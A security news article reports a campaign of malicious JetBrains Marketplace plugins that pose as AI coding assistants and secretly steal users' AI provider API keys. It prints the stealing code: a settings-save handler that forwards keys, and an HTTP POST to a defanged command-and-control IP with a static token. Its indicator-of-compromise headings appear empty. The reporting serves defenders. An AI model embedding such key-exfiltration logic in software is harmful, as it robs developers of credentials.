JetBrains Plugin Security Alert: 70,000+ Installs Linked to AI Key Theft

A coordinated supply chain attack targeting JetBrains IDE users has exposed over 70,000 developers to silent credential theft.

The campaign involves at least 15 malicious plugins distributed via the JetBrains Marketplace, masquerading as AI-powered coding assistants built on models such as DeepSeek.

While these plugins function as advertised, offering features like code review, chat, and commit message generation, they secretly exfiltrate sensitive API keys entered by users, raising significant concerns about security and trust in the developer ecosystem and IDE extensions.

JetBrains Plugin Security Alertsa

The malicious plugins were published under seven separate vendor accounts and have been active since October 2025, with new variants emerging as recently as June 2026.

Despite JetBrains’ manual review process, the attackers successfully embedded stealthy data exfiltration logic into otherwise legitimate-looking functionality, according to research published by Aikido Security.

The primary target is API keys from AI providers such as OpenAI, DeepSeek, and SiliconFlow. These valuable credentials can be abused to obtain computational resources or resold on underground markets.

Technical analysis shows that the exfiltration mechanism is triggered immediately when a user saves their API key within the plugin settings. The malicious logic is embedded in a standard configuration handler, making detection difficult during casual inspection:

public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);
        BaseUtil.request("key", dto);
    }
}

```

The stolen key is transmitted via an unencrypted HTTP request to a hardcoded command-and-control (C2) server:

URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");

```

Notably, the infrastructure uses plaintext transmission and a static authentication token, indicating minimal operational security but high effectiveness due to user trust.

In a further twist, some plugins implement a “paid tier” model where users receive replacement API keys from the attacker’s server. Researchers suspect these keys may be recycled from previously stolen credentials, effectively turning the operation into a credential resale service.

This campaign highlights a growing trend of attackers targeting developer environments, where IDEs serve as centralized hubs containing source code, credentials, and cloud access tokens. Plugins operate with high privileges and minimal sandboxing, making them ideal vectors for stealthy data theft.

Similar supply chain attacks, such as the “GlassWorm” campaign affecting VS Code, demonstrate that this threat class is rapidly expanding.

Indicators of Compromise (IoCs)

Network IoCs

Malicious JetBrains Plugins

Malicious Vendor Accounts

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Security experts recommend immediate removal of affected plugins, rotation of exposed API keys, and monitoring for abnormal API usage. Organizations should also adopt stricter controls around plugin installation and leverage tools such as software composition analysis (SCA) and runtime protection to detect նման threats early.

CISO & Security Leaders: Your next breach may not have a face. Join ISC2’s LIVE webinar, “Ghost in the Machine”